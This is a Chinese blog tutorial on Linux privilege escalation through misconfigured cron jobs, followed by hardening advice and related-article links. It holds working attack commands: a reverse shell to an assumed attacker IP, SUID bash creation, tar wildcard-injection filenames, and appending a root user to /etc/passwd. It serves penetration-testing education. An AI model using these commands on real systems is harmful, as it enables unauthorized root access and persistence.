Linux系统提权之计划任务(Cron Jobs)提权

简介: 在Linux系统中,计划任务(Cron Jobs)常用于定时执行脚本或命令。若配置不当,攻击者可利用其提权至root权限。常见漏洞包括可写的Cron脚本、目录、通配符注入及PATH变量劫持。攻击者通过修改脚本、创建恶意任务或注入命令实现提权。系统管理员应遵循最小权限原则、使用绝对路径、避免通配符、设置安全PATH并定期审计,以防范此类攻击。

Linux系统提权之计划任务(Cron Jobs)提权

计划任务(Cron)是Linux系统用于定时执行任务的守护进程。系统管理员常用它来自动化系统维护或管理任务。配置不当的计划任务可以被攻击者利用来获取更高权限(通常是root权限)。


1. 查找计划任务

信息收集是第一步,需要找出系统上设置了哪些计划任务。

查看系统级计划任务:

cat /etc/crontab
ls -al /etc/cron.*  # 查看每小时、每天、每周、每月执行的任务目录
ls -la /var/spool/cron/crontabs/  # 查看各用户的cron任务(通常需要root权限)

查看当前用户的计划任务:

crontab -l

常用的查找命令:

# 查找所有cron任务文件(包括系统级和用户级)
find /etc/cron* -type f 2>/dev/null
find /var/spool/cron -type f 2>/dev/null

# 查找具有写权限的cron文件(重点目标!)
find /etc/cron* -writable -type f 2>/dev/null
find /var/spool/cron -writable -type f 2>/dev/null

2. 利用方式

计划任务的提权主要源于以下几种配置错误:

2.1 可写的Cron脚本(Writable Cron Script)

如果Cron任务本身执行的脚本(例如 /etc/cron.hourly/backup.sh全局可写(权限为777或所有者是当前用户),那么你可以直接修改这个脚本,插入你的反向Shell或添加SUID Shell的命令。

利用步骤:

  1. 发现一个每分钟/每5分钟以root身份运行的可写脚本。
  2. 编辑该脚本,添加提权命令。
  3. 等待Cron执行该脚本,获取root权限。

示例:
假设发现 /etc/cron.hourly/automated-backup 可写,并且它以root身份运行。

# 1. 查看当前内容
cat /etc/cron.hourly/automated-backup

# 2. 追加一个反向Shell命令(假设攻击者IP是10.0.0.5,端口是4444)
echo 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' >> /etc/cron.hourly/automated-backup

# 或者追加一个创建SUID Bash的命令
echo 'cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' >> /etc/cron.hourly/automated-backup

# 3. 等待计划任务执行,然后使用 /tmp/rootbash -p 获取root shell。

2.2 可写的Cron目录(Writable Cron Directory)

如果Cron任务的目录(如 /etc/cron.d/etc/cron.hourly)是可写的,即使脚本本身不可写,你也可以在其中创建自己的计划任务文件

利用步骤:

  1. 发现一个可写的Cron目录(例如 find /etc/cron* -writable -type d)。
  2. 在该目录下创建一个文件,内容为一行Cron任务配置。
  3. 等待任务执行。

示例:
假设 /etc/cron.d 目录全局可写。

# 1. 在 /etc/cron.d 目录下创建一个名为 `exploit` 的文件
cd /etc/cron.d
cat > exploit << EOF
# 计划任务语法: m h dom mon dow user command
* * * * * root chmod +xs /bin/bash
EOF

# 2. 等待一分钟后,/bin/bash 将被设置SUID位,使用 `/bin/bash -p` 即可获得root shell。

2.3 通配符注入(Wildcard Injection)

如果Cron任务中的命令使用了通配符(*,并且该目录可写,则可以通过创建特定文件名的文件来“欺骗”命令执行任意代码。

这是一种相对高级的技巧,常与 tarchmodrsync 等命令一起使用。

经典案例:利用Tar命令的--checkpoint参数
假设Root用户设置了一个Cron任务,每天压缩 /var/www/html 目录:

* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

攻击者可以利用Tar的--checkpoint--checkpoint-action选项。

利用步骤:

  1. 在可写的目录(这里是 /var/www/html)下创建两个文件。
  2. 第一个文件用于触发--checkpoint-action执行命令。
  3. 第二个文件是通配符展开时排在--checkpoint选项后面的文件。
# 进入Cron任务运行的目录
cd /var/www/html

# 创建将执行的文件
echo 'echo "root2:xxqibyydkD4Lg:0:0:root:/root:/bin/bash" >> /etc/passwd' > shell.sh
chmod +x shell.sh

# 创建用于注入Tar参数的文件
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

# 等待Cron任务执行。执行后,会向/etc/passwd文件添加一个root权限的用户(密码为“password”)。

2.4 PATH变量劫持(PATH Manipulation)

如果Cron任务中执行的命令使用了相对路径(如 backup.sh 而不是 /usr/bin/backup.sh),并且Cron的PATH变量包含一个可写的目录(如 /home/user),那么你可以创建一个同名的恶意程序放在那个目录下。

利用步骤:

  1. 查看Cron环境的PATH(通常在 /etc/crontab 顶部定义)。
  2. 找到一个在PATH中靠前且你可写的目录。
  3. 在该目录下创建一个与Cron任务中命令同名的恶意可执行文件。
  4. 等待Cron执行。

示例:
假设Cron的PATH是 PATH=/home/user:/bin:/sbin:/usr/bin:/usr/sbin,并且有一个任务每天运行 cleanup-log

# 1. 在 /home/user 目录下创建名为 `cleanup-log` 的恶意脚本
cd /home/user
cat > cleanup-log << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash
EOF

# 2. 赋予执行权限
chmod +x cleanup-log

# 3. 等待计划任务执行,然后使用 /tmp/rootbash -p 获取root shell。

3. 防护与加固建议

作为系统管理员,应避免以下配置错误,以防止通过Cron提权:

  1. 最小权限原则:永远不要给Cron脚本或目录设置不必要的写权限(如777)。使用 chmod o-w <file> 移除其他用户的写权限。
  2. 使用绝对路径:在Cron任务脚本中,对所有命令都使用绝对路径(例如 /bin/tar 而不是 tar)。
  3. 谨慎使用通配符:在Cron命令中避免使用通配符,如果必须使用,请确保其运行目录不可被非特权用户写入。
  4. 安全的PATH变量:在/etc/crontab中设置一个安全、精简的PATH,例如 PATH=/bin:/sbin:/usr/bin:/usr/sbin,并避免包含当前目录(.)或用户家目录。
  5. 定期审计:定期使用 find /etc/cron* -perm -o+w 等命令检查系统上的Cron配置是否有错误的权限设置。
  6. 日志监控:监控 /var/log/cron/var/log/syslog,留意是否有异常的任务执行。

通过理解和检查这些常见的Cron配置错误,白帽子可以更有效地发现和利用提权向量,同时也能帮助系统管理员更好地加固他们的系统。

相关文章
|
2月前
|
Ubuntu Linux Anolis
Linux系统禁用swap
本文介绍了在新版本Linux系统(如Ubuntu 20.04+、CentOS Stream、openEuler等)中禁用swap的两种方法。传统通过注释/etc/fstab中swap行的方式已失效,现需使用systemd管理swap.target服务或在/etc/fstab中添加noauto参数实现禁用。方法1通过屏蔽swap.target适用于新版系统,方法2通过修改fstab挂载选项更通用,兼容所有系统。
188 3
Linux系统禁用swap
|
2月前
|
Linux
Linux系统修改网卡名为eth0、eth1
在Linux系统中,可通过修改GRUB配置和创建Udev规则或使用systemd链接文件,将网卡名改为`eth0`、`eth1`等传统命名方式,适用于多种发行版并支持多网卡配置。
240 3
|
3月前
|
Ubuntu Linux
计算机基础知识:linux系统怎么安装?
在虚拟机软件中创建一个新的虚拟机,并选择相应操作系统类型和硬盘空间大小等参数。将下载的 ISO 镜像文件加载到虚拟机中。启动虚拟机,进入安装界面,并按照步骤进行安装。安装完成后,可以在虚拟机中使用 Linux 系统。
|
3月前
|
存储 Ubuntu Linux
「正点原子Linux连载」第二章Ubuntu系统入门
在图2.8.2.4中,我们使用命令umount卸载了U盘,卸载以后当我们再去访问文件夹/mnt/tmp的时候发现里面没有任何文件了,说明我们卸载成功了。
|
Ubuntu Linux 网络安全
Linux系统初始化脚本
一款支持Rocky、CentOS、Ubuntu、Debian、openEuler等主流Linux发行版的系统初始化Shell脚本,涵盖网络配置、主机名设置、镜像源更换、安全加固等多项功能,适配单/双网卡环境,支持UEFI引导,提供多版本下载与持续更新。
221 0
Linux系统初始化脚本
|
3月前
|
运维 Linux 开发者
Linux系统中使用Python的ping3库进行网络连通性测试
以上步骤展示了如何利用 Python 的 `ping3` 库来检测网络连通性,并且提供了基本错误处理方法以确保程序能够优雅地处理各种意外情形。通过简洁明快、易读易懂、实操性强等特点使得该方法非常适合开发者或系统管理员快速集成至自动化工具链之内进行日常运维任务之需求满足。
180 18
|
2月前
|
安全 Linux Shell
Linux系统提权方式全面总结:从基础到高级攻防技术
本文全面总结Linux系统提权技术,涵盖权限体系、配置错误、漏洞利用、密码攻击等方法,帮助安全研究人员掌握攻防技术,提升系统防护能力。
216 1
|
3月前
|
缓存 监控 Linux
Linux系统清理缓存(buff/cache)的有效方法。
总结而言,在大多数情形下你不必担心Linux中buffer与cache占用过多内存在影响到其他程序运行;因为当程序请求更多内存在没有足够可用资源时,Linux会自行调整其占有量。只有当你明确知道当前环境与需求并希望立即回收这部分资源给即将运行重负载任务之前才考虑上述方法去主动干预。
1275 10
|
3月前
|
安全 Linux 数据安全/隐私保护
为Linux系统的普通账户授予sudo访问权限的过程
完成上述步骤后,你提升的用户就能够使用 `sudo`命令来执行管理员级别的操作,而无需切换到root用户。这是一种更加安全和便捷的权限管理方式,因为它能够留下完整的权限使用记录,并以最小权限的方式工作。需要注意的是,随意授予sudo权限可能会使系统暴露在风险之中,尤其是在用户不了解其所执行命令可能带来的后果的情况下。所以在配置sudo权限时,必须谨慎行事。
476 0
|
3月前
|
Ubuntu Linux 开发者
国产 Linux 发行版再添新成员,CutefishOS 系统简单体验
当然,系统生态构建过程并不简单,不过为了帮助国产操作系统优化生态圈,部分企业也开始用国产操作系统替代 Windows,我们相信肯定会有越来越多的精品软件登录 Linux 平台。
221 0